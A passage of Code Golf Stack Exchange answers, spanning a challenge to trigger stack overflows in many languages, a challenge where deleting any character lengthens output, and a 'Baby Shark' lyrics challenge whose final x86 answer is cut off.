Alternatively, repeat `cos(` 31 times. ## Output ``` Stack ERROR [AC] :Cancel [<][>]:Goto ``` I believe that this qualifies as a stack overflow. The stack seems to be tiny... [Answer] # C, 35 characters ``` main(){for(;;)*(int*)alloca(1)=0;} ``` [Answer] # Common Lisp, 7 characters ``` #1='#1# ``` [Answer] ## Python - 11 chars ``` exec'('*999 ``` --- ``` >>> exec'('*999 s_push: parser stack overflow Traceback (most recent call last): File "<stdin>", line 1, in <module> MemoryError ``` [Answer] # FORTH, 13 bytes ``` BEGIN 1 AGAIN ``` overflows the value stack [Answer] # Postscript, 7 ``` {1}loop ``` Eg. ``` $ gsnd GPL Ghostscript 9.06 (2012-08-08) Copyright (C) 2012 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. GS>{1}loop Error: /stackoverflow in 1 Operand stack: --nostringval-- Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- %loop_continue --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- %loop_continue Dictionary stack: --dict:1168/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: No such file or directory Current file position is 8 GS<1> ``` [Answer] ## Haskell (GHC, no optimization), 25 ``` main=print$sum[1..999999] ``` [sum](http://hackage.haskell.org/packages/archive/base/latest/doc/html/src/Data-List.html#sum) is lazy in the total. This piles up a bunch of thunks, then tries to evaluate them all at the end, resulting in a stack overflow. [Answer] ## PHP 5.4, 33 characters ``` for($n=1e5;$n--;)$a=(object)[$a]; ``` This causes a stack overflow when the nested [stdClass](http://php.net/manual/en/language.types.object.php#language.types.object.casting) objects are automatically destroyed: ``` $ gdb -q php Reading symbols from /usr/bin/php...(no debugging symbols found)...done. (gdb) set pagination 0 (gdb) r -nr 'for($n=1e5;$n--;)$a=(object)[$a];' Starting program: /usr/bin/php -nr 'for($n=1e5;$n--;)$a=(object)[$a];' [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x00000000006debce in zend_objects_store_del_ref_by_handle_ex () (gdb) bt #0 0x00000000006debce in zend_objects_store_del_ref_by_handle_ex () #1 0x00000000006dee73 in zend_objects_store_del_ref () #2 0x00000000006a91ca in _zval_ptr_dtor () #3 0x00000000006c5f78 in zend_hash_destroy () #4 0x00000000006d909c in zend_object_std_dtor () #5 0x00000000006d9129 in zend_objects_free_object_storage () #6 0x00000000006dee53 in zend_objects_store_del_ref_by_handle_ex () #7 0x00000000006dee73 in zend_objects_store_del_ref () #8 0x00000000006a91ca in _zval_ptr_dtor () #9 0x00000000006c5f78 in zend_hash_destroy () #10 0x00000000006d909c in zend_object_std_dtor () #11 0x00000000006d9129 in zend_objects_free_object_storage () [...] #125694 0x00000000006dee53 in zend_objects_store_del_ref_by_handle_ex () #125695 0x00000000006dee73 in zend_objects_store_del_ref () #125696 0x00000000006a91ca in _zval_ptr_dtor () #125697 0x00000000006c5f78 in zend_hash_destroy () #125698 0x00000000006d909c in zend_object_std_dtor () #125699 0x00000000006d9129 in zend_objects_free_object_storage () #125700 0x00000000006dee53 in zend_objects_store_del_ref_by_handle_ex () #125701 0x00000000006dee73 in zend_objects_store_del_ref () #125702 0x00000000006a91ca in _zval_ptr_dtor () #125703 0x00000000006c4945 in ?? () #125704 0x00000000006c6481 in zend_hash_reverse_apply () #125705 0x00000000006a94e1 in ?? () #125706 0x00000000006b80e7 in ?? () #125707 0x0000000000657ae5 in php_request_shutdown () #125708 0x0000000000761a18 in ?? () #125709 0x000000000042c420 in ?? () #125710 0x00007ffff5b6976d in __libc_start_main (main=0x42bf50, argc=3, ubp_av=0x7fffffffe738, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe728) at libc-start.c:226 #125711 0x000000000042c4b5 in _start () ``` [Answer] # Q/k (16 chars) Not sure if this is in the spirit of the challenge but I *don't think* it breaks the rules: ``` s:{f`};f:{s`};f` ``` [Answer] A bunch in the same style: ## Python, 30 ``` (lambda x:x(x))(lambda y:y(y)) ``` ## Javascript, 38 ``` (function(x){x(x)})(function(y){y(y)}) ``` ## Lua, 44 ``` (function(x) x(x) end)(function(y) y(y) end) ``` [Answer] # C#: 106 86 58 46 32 28 **32**: Getters can SO your machine easy in C#: ``` public int a{get{return a;}} ``` [Answer] # LaTeX: 8 characters ``` \end\end ``` This is the same code used in [this answer](https://codegolf.stackexchange.com/questions/21114/weirdest-way-to-produce-a-stack-overflow/21322#21322). Essentially, the `\end` macro expands itself repeatedly, resulting in a stack overflow: `TeX capacity exceeded, sorry [input stack size=5000]`. A more detailed explanation can be found [here](https://tex.stackexchange.com/questions/124423/end-end-causes-tex-capacity-exceeded). [Answer] # INTERCAL, 12 bytes ``` (1)DO(1)NEXT ``` ## Explanation: `NEXT` is INTERCAL's version of a subroutine call (or, at least, the closest you can get). It pushes the current position onto the `NEXT` stack and jumps to the given label. However, if the `NEXT` stack length exceeds 80, you get what's pretty much the INTERCAL version of a stack overflow: ``` ICL123I PROGRAM HAS DISAPPEARED INTO THE BLACK LAGOON ON THE WAY TO 1 CORRECT SOURCE AND RESUBNIT ``` [Try it on Ideone.](http://ideone.com/6kyruD). [Answer] # Mornington Crescent, ~~139~~ 133 ``` Take Northern Line to Bank Take Circle Line to Temple Take Circle Line to Temple Take Circle Line to Bank Take Northern Line to Angel ``` [Answer] # X86 assembly (AT&T), 33 characters Note that although I'm using the label `main` as a jump target, this is *not* a recursive function. ``` .globl main main:push $0;jmp main ``` [Answer] # Python (17): ``` c='exec c';exec c ``` ]
[Question] [ Anybody can make the output of a program bigger by adding characters, so let's do the exact opposite. Write a full program, an *inner* function or a snippet for a REPL environment in a language of your choice that satisfies the following criteria: 1. Your code must be at least 1 character long. 2. Running the original code produces **x** characters of output to STDOUT (or closest alternative), where **0 ≤ x < +∞**. 3. Removing *any arbitrary single character* from the original code results again in valid code, which produces at least **x + 1** characters of output to STDOUT. 4. Neither the original code nor the modifications may produce any error output, be to STDOUT, STDERR, syslog or elsewhere. The only exceptions to this rule are compiler warnings. Your program may not require any flags or settings to suppress the error output. Your program may not contain any fatal errors, even if they don't produce any output. 5. Both the original code and the modifications must be deterministic and finish eventually (no infinite loops). 6. Neither the original code nor the modifications may require input of any kind. 7. Functions or snippets may not maintain any state between executions. Considering that this task is trivial is some languages and downright impossible in others, this is a [popularity-contest](/questions/tagged/popularity-contest "show questions tagged 'popularity-contest'"). When voting, please take the "relative shortness" of the code into account, i.e., a shorter answer should be considered more creative than a longer answer *in the same language*. [Answer] # Any REPL with caret XOR operation, 5 bytes ``` 11^11 ``` `11^11` is of course 0. The only other possibilities are `1^11` or `11^1` which are 10, or `1111` which produces itself. [Answer] # TI-BASIC, ~~3~~ 1 ``` " ``` When the last line of a program is an expression, the calculator will display that expression. Otherwise, the calculator displays `Done` when the program finishes. The expression here is the empty string, but it could also work with any one-digit number. ### 2 bytes: ``` isClockOn ``` Same as the above but with a 2-byte token. ### 3 bytes: ``` ππ⁻¹ ``` Prints `1` due to implied multiplication. Can be extended indefinitely by adding pairs of `⁻¹`'s. The below also work. ``` √(25 e^(πi ⁻ii ii³ 2ππ cos(2π ``` ### Longer solutions: ``` 11/77►Frac ᴇ⁻⁻44 cos(208341 //numerator of a convergent to pi; prints "-1" ``` There are probably also multi-line solutions but I can't find any. [Answer] # CJam, JavaScript, Python, etc, 18 bytes ``` 8.8888888888888888 ``` The outputs in CJam are: ``` 8.8888888888888888 -> 8.88888888888889 8.888888888888888 -> 8.888888888888888 88888888888888888 -> 88888888888888888 .8888888888888888 -> 0.8888888888888888 ``` JavaScript and Python work in similar ways. It isn't competitive in JavaScript and Python, but it's not easy to find a shorter one in CJam. [Answer] # Octave, 5 bytes ``` 10:10 ``` (x : y) gives the array of numbers between x and y in increments of 1, so between 10 and 10 the only element is 10: ``` > 10:10 ans = 10 ``` When the second argument is less than the first, octave prints the empty matrix and its dimensions: ``` > 10:1 ans = [](1x0) > 10:0 ans = [](1x0) ``` When a character is removed from the first number, there are more elements in the array: ``` > 1:10 ans = 1 2 3 4 5 6 7 8 9 10 > 0:10 ans = 0 1 2 3 4 5 6 7 8 9 10 ``` When the colon is removed, the number returns itself: ``` > 1010 ans = 1010 ``` [Answer] # Microscript, 1 byte ``` h ``` This produces no ouput, as `h` suppresses the language's implicit printing. Removing the sole character produces a program whose output is `0\n`. ~~I'll try to come up with a better answer later.~~ **EDIT ON NOVEMBER 17:** This also works in Microscript II, with the exception that, instead of yielding `0\n`, the empty program yields `null`. [Answer] # Pyth, 3 bytes ``` cGG ``` `G` is preinitialized with the lowercase letters in the alphabet. `c` is the split-function. `cGG` splits the alphabet by occurrences of the alphabet, which ends in `['', '']` (8 bytes). When the second parameter is missing, `c` splits the string by whitespaces, tabs or newlines. Since none of them appear in `G`, the output for `cG` is `['abcdefghijklmnopqrstuvwxyz']` (30 bytes). And `GG` simply prints twice the alphabet on two seperate lines: `abcdefghijklmnopqrstuvwxyz\nabcdefghijklmnopqrstuvwxyz` (53 bytes). Try it online: [Demonstration](https://pyth.herokuapp.com/?code=cGG&debug=0) [Answer] # Python REPL, 6 bytes Not the shortest, but here's another floating point abuse answer: ``` >>> 1e308 1e+308 >>> 11308 11308 >>> 11e08 1100000000.0 >>> 11e38 1.1e+39 >>> 11e30 1.1e+31 ``` But... ``` >>> 11e308 inf ``` [Answer] **JavaScript (and a lot more), 5byte** `44/44` or ``` 44/44 -> 1 44/4 -> 11 4444 -> 4444 4/44 -> 0.09090909090909091 ``` [Answer] # CJam, 5 ``` ''''= ``` [Try it online](http://cjam.aditsu.net/#code=''''%3D) ``` ''''= compares two apostrophes and prints 1 '''= prints '= '''' prints '' ``` [Answer] # [Lenguage](http://esolangs.org/wiki/Lenguage), 5 bytes ``` 00000 ``` The length of the program is 5 which corresponds to the brainf\*\*\* program `,` reading an end of input character and terminating without output. Removing any char results in the code `0000` which has a length of 4 corresponding to the brainf\*\*\* program `.` printing out one character (codepoint `0`) and terminating. The [Unary](http://esolangs.org/wiki/Unary) equivalent would be `0000000000000` (13 zeros) because you have to prepend a leading `1` to the binary length of the code so `101` becomes `1101`. [Answer] # PHP, 6 bytes I have been watching this group for a couple of weeks and am amazed of your programming techniques. Now I had to sign in, there is something I can do, sorry :-) However, this might be my last post here... ``` <?php ``` (note the space after second `p`) This outputs empty string. Removing any character outputs the text without the character. Note it can produce HTML errors (content not rendered by browsers for eg. `<?ph`). I also tried with the `echo` tag. ie. eg.: ``` <?= __LINE__;; ``` This one outputs `1`. If `=` is omitted, `<? __LINE__;;` is the output. However, removing any of the magic constant character will result in *E\_NOTICE*: Notice: Use of undefined constant **LNE** - assumed '**LNE**' in... If *notices* are not considered *errors* (point 4 of rules), this also applies :-) [Answer] # Python, 10 8 bytes ``` 256**.25 ``` Works in Python and friends. Thanks to Jakube for showing how to make it 2 bytes smaller. From IDLE: ``` >>> 256**.25 4.0 >>> 26**.25 2.2581008643532257 >>> 56**.25 2.7355647997347607 >>> 25**.25 2.23606797749979 >>> 256*.25 64.0 >>> 256*.25 64.0 >>> 256**25 1606938044258990275541962092341162602522202993782792835301376L >>> 256**.5 16.0 >>> 256**.2 3.0314331330207964 ``` originally I had this (10 bytes): ``` 14641**.25 ``` From IDLE: ``` >>> 14641**.25 11.0 >>> 4641**.25 8.253780062553423 >>> 1641**.25 6.364688382085818 >>> 1441**.25 6.161209766937384 >>> 1461**.25 6.18247763499657 >>> 1464**.25 6.185648950548194 >>> 14641*.25 3660.25 >>> 14641*.25 3660.25 >>> 14641**25 137806123398222701841183371720896367762643312000384664331464775521549852095523076769401159497458526446001L >>> 14641**.5 121.0 >>> 14641**.2 6.809483127522302 ``` and on the same note: ``` 121**.25*121**.25 ``` works identically due to nice rounding by Python, in 17 bytes. ``` >>> 121**.25*121**.25 11.0 >>> 21**.25*121**.25 7.099882579628641 >>> 11**.25*121**.25 6.0401053545372365 >>> 12**.25*121**.25 6.172934291446435 >>> 121*.25*121**.25 100.32789990825084 >>> 121*.25*121**.25 100.32789990825084 >>> 121**25*121**.25 3.8934141282176105e+52 >>> 121**.5*121**.25 36.4828726939094 >>> 121**.2*121**.25 8.654727864164496 >>> 121**.25121**.25 29.821567222277217 >>> 121**.25*21**.25 7.099882579628641 >>> 121**.25*11**.25 6.0401053545372365 >>> 121**.25*12**.25 6.172934291446435 >>> 121**.25*121*.25 100.32789990825084 >>> 121**.25*121*.25 100.32789990825084 >>> 121**.25*121**25 3.8934141282176105e+52 >>> 121**.25*121**.5 36.4828726939094 >>> 121**.25*121**.2 8.654727864164496 ``` [Answer] # SWI-Prolog interpreter ``` __A=__A. ``` **Note: You cannot remove the final `.`**. Prolog interpreters will always look for a final period to run your query, so if we stick strictly to the rules of this contest and allow ourselves to remove the period it won't run, it will jump a line and wait for additional commands until one is ended by a period. The original query `__A=__A.` outputs `true.`. The query `_A=__A.` outputs `_A = '$VAR'('__A')`. Similar modifications (i.e. removing one `_` or one of the two `A`) will result in similar outputs. Finally, the query `__A__A.` outputs in SWI-Prolog: ``` % ... 1,000,000 ............ 10,000,000 years later % % >> 42 << (last release gives the question) ``` [Answer] # Sed, 1 byte ``` d ``` As `sed` requires an input stream, I'll propose a convention that the program itself should be supplied as input. ``` $ sed -e 'd' <<<'d' | wc -c 0 $ sed -e '' <<<'d' | wc -c 2 ``` An alternative program is `x`, but that only changes from `1` to `2` bytes of output when deleted. [Answer] # K, 3 bytes ``` 2!2 ``` Outputs `0` in the REPL. Removing the first 2 outputs `0 1`, removing the exclamation results in `22`, and removing the last 2 results in a string that varies between K implementations but is always at least 2 characters (in oK, it's `(2!)`; according to @Dennis, Kona outputs `2!`). [Answer] # MATLAB, ~~9~~ 7 bytes It's 2 bytes longer than the other MATLAB/Octave answer, but I like it nonetheless, as it's a bit more complex. Matlab's `'` operator is the complex conjugated transpose. Using this on a scalar imaginary number, you get `i' = -i`. As imaginary numbers can be written simply as `2i` one can do: ``` 2i--2i' ans = 0 ``` Removing any one of the characters will result in one of the below: ``` ans = 0.0000 - 1.0000i 2.0000 - 2.0000i 0.0000 + 4.0000i 0.0000 + 4.0000i 0.0000 + 1.0000i 2.0000 + 2.0000i 0.0000 + 4.0000i ``` [Answer] # GolfScript, 2 bytes This answer is non-competing, but since it is the piece of code that inspired this challenge, I wanted to share it anyway. ``` :n ``` By default, all GolfScript programs print the entire stack, followed by a linefeed, by executing `puts` on the entire stack. The function `puts` itself is implemented as `{print n print}` in the interpreter, where `print` is an actual built-in and `n` is a variable that holds the string `"\n"` by default. Now, a GolfScript program always pushes the input from STDIN on the stack. In this case, since there isn't any input, an empty string is pushed. The variable assignment `:n` saves that empty string in `n`, suppressing the implicit linefeed and making the output completely empty. By eliminating `n`, you're left with the incomplete variable assignment `:` (you'd think that's a syntax error, but nope), so the implicit linefeed is printed as usual. By eliminating `:`, you're left with `n`, which pushes a linefeed on the stack, so the program prints two linefeeds. [Answer] # J, 5 bytes ``` |5j12 ``` Magnitude of the complex number `5 + 12i` in REPL. ``` |5j12 NB. original, magnitude of the complex number `5 + 12i` 13 5j12 NB. the complex number `5 + 12i` 5j12 |j12 NB. magnitude of the undefined function j12 | j12 |512 NB. magnitude of 512 512 |5j2 NB. magnitude of 5 + 2i 5.38516 |5j1 NB. magnitude of 5 + 1i 5.09902 ``` . # J, 9 bytes ``` %0.333333 ``` Based on floating point precision, reciprocal and matrix inverse. ``` %0.333333 NB. original, reciprocal of 0.333333 3 0.333333 NB. 0.333333 0.333333 %.333333 NB. matrix inverse of 333333 3e_6 %0333333 NB. reciprocal of 333333 3e_6 %0.33333 NB. reciprocal of 0.33333 3.00003 ``` [Try it online here.](http://tryj.tk/) [Answer] # APL, J and possibly other variants, 3 bytes ``` --1 ``` It outputs `1` in APL. `-1` outputs `¯1`, and `--` outputs the following in [TryAPL](http://tryapl.org/): ``` ┌┴┐ - - ``` [Answer] # Mathematica, 3 bytes ``` 4!0 ``` --- ``` 4!0 -> 0 the factorial of 4, times 0 4! -> 24 the factorial of 4 40 -> 40 !0 -> !0 the logical not of 0, but 0 is not a boolean value ``` [Answer] # [Dyalog APL](http://goo.gl/9KrKoM), 2 bytes `⍴0` returns an empty string (length 0) `⍴` returns `⍴` (length 1) `0` returns `0` (length 1) [Answer] # Swift (and a lot more), 8 bytes ``` 93^99<84 ``` output (4 chars): ``` true ``` When removing the nth character the output is: ``` n -> out ---------- 0 -> false 1 -> false 2 -> false 3 -> false 4 -> false 5 -> 10077 6 -> false 7 -> false ``` There are 78 possible solutions like this in the format of `a^b<c`. I think the goal of this challenge should be as many bytes as possible, because the more bytes, the more possible bytes to remove and therefore more difficult. [Answer] # [MathGolf](https://github.com/maxbergmark/mathgolf), 2 bytes ``` ♂( ``` [Try it online!](https://tio.run/##y00syUjPz0n7///RzCaN//8B "MathGolf – Try It Online") ## Explanation ``` ♂ Push 10 ( Decrement TOS by 1 ``` ## Why does this work? The regular output is `9`. If the `(` is removed, the output is 10. If the `♂` is removed, the program implicitly pops a 0 from the stack to feed the `(` operator, which outputs `-1`. [Answer] # 05AB1E (legacy), 1 [byte](https://github.com/Adriandmen/05AB1E/wiki/Codepage) Any single byte in 05AB1E (legacy) would work, except for `[` (infinite loop). [See here all possible outputs for all possible single-byte 05AB1E programs.](https://tio.run/##RcjpUpJhGIfxU6G3hRYzrWwv2vd9sWVo0bI9yxaLyubhFREtW4AKFYhFUZSUfQdn7j8vzeTMM3QK94kQn@rb9bta2jo6W7vqdeWX57ddxmRcJmRSpmRaZmTW2F2L17K1Yq30R5UO6ZQumZNBGeYhH9uG2TbCNi@rZlZVVvtZtbA6wKpVt8S4dNnyFfqVq1avaVrbvK6ldf2GjW2bNm/Zum37jp27DLv37N23/8DBQ4ePHD12/MTJU6fPnD13/kL7xUuXrxivXrt@o6Pz5q2u23fu3rv/4OGj7sdPnj57/qL35SvT6zdv@95VU6xG5DiLsaqdhZdFiIWPhX/RyiKqNSqn2StWrVRNVwQLF4tRFm4WHhYBFg4WzkU3WwKan0Vec1QGtbKWrZjJTwEK0gRNUoimaJrCNEOzFJEFmqN5ilKM4pSgJKUoTRnKUo7yVKAilahMCxAwQ0U/LBiAFYOwYQjDeI8PGMFHfMJnfIEdDjjxFd/wHS6MYgzjcMMDL37ABz8CCGICkwhhCtMIYwaziOAn5jCPKGKII4EkUkgjgyxyyKOAIkooY0HpNRkUHVvtOsVgam5vorShT6/8W3ql8fQ9/93TcL3@Fw) Removing that single byte so an empty program remains will output the content of info.txt to STDOUT instead by default. [Try it online.](https://tio.run/##MzBNTDJM/Q8EAA) --- # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 1 [byte](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` ? ``` [Try it online.](https://tio.run/##yy9OTMpM/f/f/v9/AA) Unfortunately an empty program in the new version of 05AB1E only outputs a 1-byte newline by default ([Try it online](https://tio.run/##yy9OTMpM/Q8EAA)), so almost none of the 1-byte characters are possible since they'll have to output nothing. The only possible program that outputs nothing (so also not the implicit newline) is `?` as far as I know. [Answer] # Clojure, 11 bytes ``` (defn x[]1) ``` At first I thought to just post a single character answer in the REPL like the other languages, e.g. ``` user=> 1 1 ``` But the problem is that if you remove that character, the REPL doesn't do anything upon the enter keypress. So instead it had to be wrapped with a function as permitted by the question's rules. When you call this function, it returns 1. If you remove the only character in the function, ``` (defn x[]) ``` the function returns `nil` which prints an additional two bytes. ``` user=> (defn x[]1) #'user/x user=> (x) 1 user=> (defn y[]) #'user/y user=> (y) nil ``` [Answer] # [Japt](https://github.com/ETHproductions/japt), 2 bytes ``` AÉ ``` [Try it online!](https://tio.run/##y0osKPn/3/Fw5///AA "Japt – Try It Online") `A` is pre-initialized to 10, `É` subtracts 1, and the result is 1 byte: `9`. [Removing É](https://tio.run/##y0osKPn/3/H/fwA "Japt – Try It Online") results in the program `A`, which outputs A's value, `10`, so the result is 2 bytes. Similarly, [removing A](https://tio.run/##y0osKPn//3Dn//8A) results in just `É` which is interpreted as -1 and output as `-1`, so the result is 2 bytes. [Answer] # [Runic Enchantments](https://github.com/Draco18s/RunicEnchantments/tree/Console), 6 (modifiable) bytes ``` 11-{{B\ /B~~@/ \00< R"Error"@ ``` [Try it online!](https://tio.run/##KyrNy0z@/9/QULe62imGS9@prs5BnyvGwMCGK0jJtagov0jJ4f9/AA "Runic Enchantments – Try It Online") Runic does not have a REPL environment and writing a full program to satisfy the constraints is not readily feasible (leading to either invalid programs or no output). So the portion of the code `11-{{B` is acting as an *inner function* and only this portion can be modified. The `B` instruction is close enough to a function pointer and return statement that this classification should be acceptable (as it jumps the IP to a position in the code as well as pushing a return location to the stack which may be accessed by a subsequent `B` or discarded). * Standard output: `0` * Removing either of the `1`s: `05` * Removing the `-`: `11` * Removing either `{`: `Error051` * Removing the `B`: `120` The final `\` on the end of the first line provides an external boundary around the inner function in the event that the return instruction is removed so that the IP doesn't go meandering all over everywhere willy nilly (and print no output). Note that `Error051` is just an arbitrary string, I could put anything I wanted into that portion of the code and "Error" was an amusing result for having code that feks up the return coordinates and the IP teleports to an arbitrary location. ]
[Question] [ > > "Baby Shark" is a children's song about a family of sharks. Having long been popular as a campfire song, it has been popularized since the mid-2000s by social media, online video and radio. - [Wikipedia](https://en.wikipedia.org/wiki/Baby_Shark) > > > Write program that takes no input, and writes the following text to the standard output or an arbitrary file: ``` Baby Shark doo doo doo doo doo doo Baby Shark doo doo doo doo doo doo Baby Shark doo doo doo doo doo doo Baby Shark! Daddy Shark doo doo doo doo doo doo Daddy Shark doo doo doo doo doo doo Daddy Shark doo doo doo doo doo doo Daddy Shark! Mommy Shark doo doo doo doo doo doo Mommy Shark doo doo doo doo doo doo Mommy Shark doo doo doo doo doo doo Mommy Shark! Grandpa Shark doo doo doo doo doo doo Grandpa Shark doo doo doo doo doo doo Grandpa Shark doo doo doo doo doo doo Grandpa Shark! Grandma Shark doo doo doo doo doo doo Grandma Shark doo doo doo doo doo doo Grandma Shark doo doo doo doo doo doo Grandma Shark! ``` This is code golf — shortest code wins. Found this on Reddit^[1](https://www.reddit.com/r/rust/comments/aqz4ed/_/)^[2](https://www.reddit.com/r/ProgrammerHumor/comments/aqkdf9/baby_shark/), and it seems like an interesting challenge to golf. **Updates:** No newline between stanzas, that makes it too easy :) Leading/trailing newlines are okay. [Answer] ## Emojicode, 292 bytes (140 characters) ``` 🏁🍇🔤Baby🔤➡️b🔤Daddy🔤➡️y🔤Mommy🔤➡️o🔤Grandpa🔤➡️g🔤Grandma🔤➡️a🔤 Shark🔤➡️s🔤 doo🔤➡️d🍨b y o g a🍆➡️f🔂m f🍇🔂i🆕⏩⏩0 3❗️🍇😀🍪m s d d d d d d🍪️❗️🍉😀🍪m s🔤!🔤🍪❗️🍉🍉 ``` [Run it](https://tio.run/##S83Nz8pMzk9JNfv//8P8/sYP83vbP8yfssQpMakSRD@at/D9jv4kENMlMSUFSQzM9M3PzUUSywcx3YsS81IKEhGi6XDRXCRRMFMhOCOxKBshWAwWTMnPRwilAJ20IkmhUiFfIV0BqKm3DSKeBlTSlKuQBnVxU@aH@W1TH/WvBCIDBeNHc6cD1UDkZjQA6VW5CsUKKQgIEgKqgKvrRFIHslwRRID4yCp6O///BwA) Expanded out: ``` 🏁🍇 🔤Baby🔤 ➡️ b 🔤Daddy🔤 ➡️ y 🔤Mommy🔤 ➡️ o 🔤Grandpa🔤 ➡️ g 🔤Grandma🔤 ➡️ a 🔤 Shark🔤 ➡️ s 🔤 doo🔤 ➡️ d 🍨b y o g a🍆➡️f 🔂m f🍇 🔂i🆕⏩⏩0 3❗️🍇 😀🍪m s d d d d d d🍪️❗️ 🍉 😀🍪m s🔤!🔤🍪❗️ 🍉 🍉 ``` Explained (per the [Emojicode](https://www.emojicode.org/docs/reference/welcome.html) doc): ``` 🍇🍉 ``` The same as a `{` and `}` (e.g. a code block) ``` 🏁 ``` The "program start" (e.g. `int main()`) ``` 🔤Baby🔤 ➡️ b ``` Variable assignment (e.g. `const char* b = "Baby";`) ``` 🍨b y o g a🍆➡️f ``` Says, create a list of values between 🍨 and 🍆 and assign (➡️) to `f` (e.g. `const char* f[] = {b,y,o,g,a};`) ``` 🔂m f🍇 ... 🍉 ``` This line says to loop over the elements in `f` using the alias `m`, where the `...` is the code between 🍇 and 🍉. ``` 🔂 i 🆕⏩⏩ 0 3❗️🍇 ... 🍉 ``` This line says to loop over the range [0,3), where the `...` is the code between 🍇 and 🍉. ``` 😀🍪 ... 🍪️❗️ ``` This line says to print the format specified in `...` (e.g. `printf("%s\n");`) The code translated to C: ``` #include <stdio.h> int main() { const char* b = "Baby"; const char* y = "Daddy"; const char* o = "Mommy"; const char* g = "Grandpa"; const char* a = "Grandma"; const char* s = " Shark"; const char* d = " doo"; const char* f[] = {b,y,o,g,a}; int m = 0, i = 0; for (; m < 5; ++m) { for (i = 0; i < 3; ++i) { printf("%s%s%s%s%s%s%s%s\n", f[m], s, d, d, d, d, d, d); } printf("%s%s!\n", f[m], s); } return 0; } ``` Following this, the original code (posted below for posterity) had some issues; mostly that the 🏁🍇🍉 block was not included for those who wish to run it, and the emoji's were not actually properly escaped, to that, here is the actual running version of that code: ## Original modified to run: Emojicode, 224 bytes (67 characters) ``` 🏁🍇🍨🔤👶🔤🔤👨🔤🔤🤱🔤🔤👴🔤🔤👵🔤🍆➡️f🔂m f🍇🔂i🆕⏩⏩0 3❗️🍇😀🍪m🔤🦈💩💩💩💩💩💩🔤🍪️❗️🍉😀🍪m🔤🦈!🔤🍪❗️🍉🍉 ``` Expanded out: ``` 🏁🍇 🍨 🔤👶🔤 🔤👨🔤 🔤🤱🔤 🔤👴🔤 🔤👵🔤 🍆 ➡️ f 🔂 m f 🍇 🔂 i 🆕⏩⏩ 0 3❗️🍇 😀🍪m🔤🦈💩💩💩💩💩💩🔤🍪️❗️ 🍉 😀🍪m🔤🦈!🔤🍪❗️ 🍉 🍉 ``` Which produces the output: ``` 👶🦈💩💩💩💩💩💩 👶🦈💩💩💩💩💩💩 👶🦈💩💩💩💩💩💩 👶🦈! 👨🦈💩💩💩💩💩💩 👨🦈💩💩💩💩💩💩 👨🦈💩💩💩💩💩💩 👨🦈! 🤱🦈💩💩💩💩💩💩 🤱🦈💩💩💩💩💩💩 🤱🦈💩💩💩💩💩💩 🤱🦈! 👴🦈💩💩💩💩💩💩 👴🦈💩💩💩💩💩💩 👴🦈💩💩💩💩💩💩 👴🦈! 👵🦈💩💩💩💩💩💩 👵🦈💩💩💩💩💩💩 👵🦈💩💩💩💩💩💩 👵🦈! ``` [Run it](https://tio.run/##S83Nz8pMzk9JNfv//8P8/sYP83vbgXjFh/lTlnyYP3EbhAazVyDYSzYiiW9BYm@F0L1tj@YtfL@jPw3IbcpVSIOYOqUp88P8tqmP@lcCkYGC8aO504FqIHIzGoD0qlyI9mUdH@ZPWokdg41fBdQH192JoVsRpgxZTW/n//8A) Where in you have the individual emoji's representing the words: ``` 👶 -> Baby 👨 -> Daddy 🤱 -> Mommy 👴 -> Grandpa 👵 -> Grandma 🦈 -> Shark 💩 -> doo ``` ## Original: Emojicode, 138 bytes (47 characters) ``` 🍨👶👨🤱👴👵🍆➡️f🔂m f🍇🔂i🆕⏩⏩0 3❗️🍇😀m🦈💩💩💩💩💩💩❗️🍉😀m🦈!❗️🍉 ``` Expanded out: ``` 🍨👶👨🤱👴👵🍆➡️f 🔂m f🍇 🔂 i 🆕⏩⏩ 0 3❗️🍇 😀 m 🦈💩💩💩💩💩💩❗️ 🍉 😀 m 🦈!❗️ 🍉 ``` [Answer] # x86-16 machine code, IBM PC DOS, ~~108~~ 107 bytes ``` 00000000: bd42 01e8 1600 bd47 01e8 1000 bd4d 01e8 .B.....G.....M.. 00000010: 0a00 bd53 01e8 0400 c646 056d b409 b104 ...S.....F.m.... 00000020: 8bd5 cd21 ba5b 01cd 21e2 06ba 6701 cd21 ...!.[..!...g..! 00000030: c3b3 06ba 6201 cd21 4b75 fbba 6801 cd21 ....b..!Ku..h..! 00000040: ebde 4261 6279 2444 6164 6479 244d 6f6d ..Baby$Daddy$Mom 00000050: 6d79 2447 7261 6e64 7061 2420 5368 6172 my$Grandpa$ Shar 00000060: 6b24 2064 6f6f 2421 0d0a 24 k$ doo$!..$ ``` Unassembled: ``` BD 0142 MOV BP, OFFSET BABY ; Baby Shark E8 011C CALL VERSE BD 0147 MOV BP, OFFSET DADDY ; Daddy Shark E8 011C CALL VERSE BD 014D MOV BP, OFFSET MOMMY ; Mommy Shark E8 011C CALL VERSE BD 0153 MOV BP, OFFSET GRAND ; Grandpa/ma Shark E8 011C CALL VERSE C6 46 05 6D MOV BYTE PTR [BP][5], 'm' ; change 'p' to 'm' VERSE: B4 09 MOV AH, 9 ; DOS API display string function B1 04 MOV CL, 4 ; loop verse counter LOOP_VERSE: 8B D5 MOV DX, BP ; load shark name from BP CD 21 INT 21H ; display shark name BA 015B MOV DX, OFFSET SHARK ; load 'Shark' CD 21 INT 21H ; display 'Shark' E2 06 LOOP LOOP_DOO ; if not last line, write 'doo's BA 0167 MOV DX, OFFSET BANG ; otherwise end with a bang CD 21 INT 21H ; display !, CRLF C3 RET ; return from CALL or to DOS LOOP_DOO: B3 06 MOV BL, 6 ; loop 'doo' 6 times BA 0162 MOV DX, OFFSET DOO ; load 'doo' string PRINT_DOO: CD 21 INT 21H ; display 'doo' 4B DEC BX ; decrement doo count 75 FB JNZ PRINT_DOO ; if not last doo, start again BA 0168 MOV DX, OFFSET CRLF ; load CRLF string CD 21 INT 21H ; display 